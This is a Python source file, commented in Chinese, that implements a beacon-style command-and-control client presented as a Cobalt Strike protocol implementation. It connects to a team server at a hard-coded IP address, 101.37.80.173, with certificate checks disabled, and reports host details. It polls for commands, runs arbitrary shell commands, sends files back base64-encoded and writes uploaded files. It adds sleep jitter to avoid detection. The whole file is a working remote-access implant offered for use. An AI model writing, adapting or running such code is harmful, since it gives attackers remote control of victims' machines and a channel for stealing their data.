#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Cobalt Strike C2 Communication Protocol
Cobalt Strike C2通信协议实现
"""

import socket
import ssl
import time
import json
import base64
import struct
import threading
from typing import Dict, Any, Optional, Callable
from dataclasses import dataclass
from urllib.parse import urlparse

@dataclass
class BeaconConfig:
    """Beacon配置信息"""
    server_host: str
    server_port: int
    sleep_time: int = 60
    jitter: float = 0.1
    user_agent: str = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    uri_path: str = "/api/v1/beacon"
    use_ssl: bool = True
    proxy_host: Optional[str] = None
    proxy_port: Optional[int] = None

class CobaltStrikeC2:
    """Cobalt Strike C2通信协议实现"""
    
    def __init__(self, config: BeaconConfig):
        self.config = config
        self.session_id = None
        self.is_connected = False
        self.command_queue = []
        self.response_handlers = {}
        self.beacon_thread = None
        self.running = False
        
    def connect(self) -> bool:
        """连接到Cobalt Strike团队服务器"""
        try:
            # 创建socket连接
            if self.config.use_ssl:
                context = ssl.create_default_context()
                context.check_hostname = False
                context.verify_mode = ssl.CERT_NONE
                
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.socket = context.wrap_socket(sock)
            else:
                self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            
            self.socket.settimeout(30)
            self.socket.connect((self.config.server_host, self.config.server_port))
            
            # 发送初始beacon
            if self._send_initial_beacon():
                self.is_connected = True
                self.running = True
                self._start_beacon_loop()
                return True
                
        except Exception as e:
            print(f"连接失败: {e}")
            return False
        
        return False
    
    def disconnect(self):
        """断开连接"""
        self.running = False
        self.is_connected = False
        
        if self.beacon_thread and self.beacon_thread.is_alive():
            self.beacon_thread.join(timeout=5)
        
        if hasattr(self, 'socket'):
            try:
                self.socket.close()
            except:
                pass
    
    def _send_initial_beacon(self) -> bool:
        """发送初始beacon包"""
        try:
            # 构造初始beacon数据
            beacon_data = {
                "type": "initial",
                "hostname": socket.gethostname(),
                "username": "user",
                "process_id": 1234,
                "process_name": "python.exe",
                "arch": "x64",
                "os": "Windows 10",
                "timestamp": int(time.time())
            }
            
            # 编码并发送
            data = json.dumps(beacon_data).encode('utf-8')
            self._send_data(data)
            
            # 接收响应
            response = self._receive_data()
            if response:
                response_data = json.loads(response.decode('utf-8'))
                self.session_id = response_data.get('session_id')
                return True
                
        except Exception as e:
            print(f"初始beacon失败: {e}")
            
        return False
    
    def _start_beacon_loop(self):
        """启动beacon循环"""
        self.beacon_thread = threading.Thread(target=self._beacon_loop, daemon=True)
        self.beacon_thread.start()
    
    def _beacon_loop(self):
        """Beacon主循环"""
        while self.running and self.is_connected:
            try:
                # 发送心跳beacon
                self._send_heartbeat()
                
                # 检查命令
                self._check_commands()
                
                # 计算睡眠时间（加入抖动）
                sleep_time = self.config.sleep_time
                if self.config.jitter > 0:
                    import random
                    jitter_range = sleep_time * self.config.jitter
                    sleep_time += random.uniform(-jitter_range, jitter_range)
                
                time.sleep(max(1, sleep_time))
                
            except Exception as e:
                print(f"Beacon循环错误: {e}")
                break
    
    def _send_heartbeat(self):
        """发送心跳包"""
        try:
            heartbeat_data = {
                "type": "heartbeat",
                "session_id": self.session_id,
                "timestamp": int(time.time()),
                "status": "active"
            }
            
            data = json.dumps(heartbeat_data).encode('utf-8')
            self._send_data(data)
            
        except Exception as e:
            print(f"心跳发送失败: {e}")
    
    def _check_commands(self):
        """检查并执行命令"""
        try:
            # 请求命令
            command_request = {
                "type": "command_request",
                "session_id": self.session_id,
                "timestamp": int(time.time())
            }
            
            data = json.dumps(command_request).encode('utf-8')
            self._send_data(data)
            
            # 接收命令响应
            response = self._receive_data()
            if response:
                response_data = json.loads(response.decode('utf-8'))
                commands = response_data.get('commands', [])
                
                for cmd in commands:
                    self._execute_command(cmd)
                    
        except Exception as e:
            print(f"命令检查失败: {e}")
    
    def _execute_command(self, command: Dict[str, Any]):
        """执行命令"""
        try:
            cmd_type = command.get('type')
            cmd_data = command.get('data')
            cmd_id = command.get('id')
            
            result = None
            
            if cmd_type == 'shell':
                result = self._execute_shell_command(cmd_data)
            elif cmd_type == 'download':
                result = self._download_file(cmd_data)
            elif cmd_type == 'upload':
                result = self._upload_file(cmd_data)
            elif cmd_type == 'sleep':
                self.config.sleep_time = cmd_data.get('time', 60)
                result = {"status": "success", "message": f"Sleep time set to {self.config.sleep_time}"}
            else:
                result = {"status": "error", "message": f"Unknown command type: {cmd_type}"}
            
            # 发送命令结果
            self._send_command_result(cmd_id, result)
            
        except Exception as e:
            error_result = {"status": "error", "message": str(e)}
            self._send_command_result(command.get('id'), error_result)
    
    def _execute_shell_command(self, cmd_data: Dict[str, Any]) -> Dict[str, Any]:
        """执行Shell命令"""
        import subprocess
        
        try:
            command = cmd_data.get('command', '')
            
            # 执行命令
            result = subprocess.run(
                command,
                shell=True,
                capture_output=True,
                text=True,
                timeout=30
            )
            
            return {
                "status": "success",
                "stdout": result.stdout,
                "stderr": result.stderr,
                "returncode": result.returncode
            }
            
        except subprocess.TimeoutExpired:
            return {"status": "error", "message": "Command timeout"}
        except Exception as e:
            return {"status": "error", "message": str(e)}
    
    def _download_file(self, cmd_data: Dict[str, Any]) -> Dict[str, Any]:
        """下载文件"""
        try:
            file_path = cmd_data.get('path')
            
            with open(file_path, 'rb') as f:
                file_content = f.read()
            
            # Base64编码文件内容
            encoded_content = base64.b64encode(file_content).decode('utf-8')
            
            return {
                "status": "success",
                "content": encoded_content,
                "size": len(file_content)
            }
            
        except Exception as e:
            return {"status": "error", "message": str(e)}
    
    def _upload_file(self, cmd_data: Dict[str, Any]) -> Dict[str, Any]:
        """上传文件"""
        try:
            file_path = cmd_data.get('path')
            file_content = cmd_data.get('content')
            
            # Base64解码文件内容
            decoded_content = base64.b64decode(file_content)
            
            with open(file_path, 'wb') as f:
                f.write(decoded_content)
            
            return {
                "status": "success",
                "message": f"File uploaded to {file_path}",
                "size": len(decoded_content)
            }
            
        except Exception as e:
            return {"status": "error", "message": str(e)}
    
    def _send_command_result(self, cmd_id: str, result: Dict[str, Any]):
        """发送命令执行结果"""
        try:
            result_data = {
                "type": "command_result",
                "session_id": self.session_id,
                "command_id": cmd_id,
                "result": result,
                "timestamp": int(time.time())
            }
            
            data = json.dumps(result_data).encode('utf-8')
            self._send_data(data)
            
        except Exception as e:
            print(f"发送命令结果失败: {e}")
    
    def _send_data(self, data: bytes):
        """发送数据"""
        try:
            # 发送数据长度
            length = struct.pack('>I', len(data))
            self.socket.sendall(length + data)
            
        except Exception as e:
            print(f"数据发送失败: {e}")
            self.is_connected = False
    
    def _receive_data(self) -> Optional[bytes]:
        """接收数据"""
        try:
            # 接收数据长度
            length_data = self.socket.recv(4)
            if len(length_data) != 4:
                return None
            
            length = struct.unpack('>I', length_data)[0]
            
            # 接收实际数据
            data = b''
            while len(data) < length:
                chunk = self.socket.recv(length - len(data))
                if not chunk:
                    return None
                data += chunk
            
            return data
            
        except Exception as e:
            print(f"数据接收失败: {e}")
            return None
    
    def send_custom_data(self, data: Dict[str, Any]) -> bool:
        """发送自定义数据"""
        try:
            custom_data = {
                "type": "custom",
                "session_id": self.session_id,
                "data": data,
                "timestamp": int(time.time())
            }
            
            encoded_data = json.dumps(custom_data).encode('utf-8')
            self._send_data(encoded_data)
            return True
            
        except Exception as e:
            print(f"发送自定义数据失败: {e}")
            return False
    
    def get_status(self) -> Dict[str, Any]:
        """获取连接状态"""
        return {
            "connected": self.is_connected,
            "session_id": self.session_id,
            "server": f"{self.config.server_host}:{self.config.server_port}",
            "sleep_time": self.config.sleep_time,
            "ssl_enabled": self.config.use_ssl
        }

# 使用示例
def example_usage():
    """使用示例"""
    # 配置Beacon
    config = BeaconConfig(
        server_host="101.37.80.173",
        server_port=8888,
        sleep_time=30,
        jitter=0.2,
        use_ssl=False
    )
    
    # 创建C2客户端
    c2_client = CobaltStrikeC2(config)
    
    try:
        # 连接到服务器
        if c2_client.connect():
            print("✅ 成功连接到Cobalt Strike服务器")
            
            # 发送自定义数据
            c2_client.send_custom_data({
                "message": "Privilege-MA framework connected",
                "capabilities": ["shell", "file_transfer", "persistence"]
            })
            
            # 保持连接
            time.sleep(60)
            
        else:
            print("❌ 连接失败")
            
    finally:
        c2_client.disconnect()

if __name__ == "__main__":
    example_usage()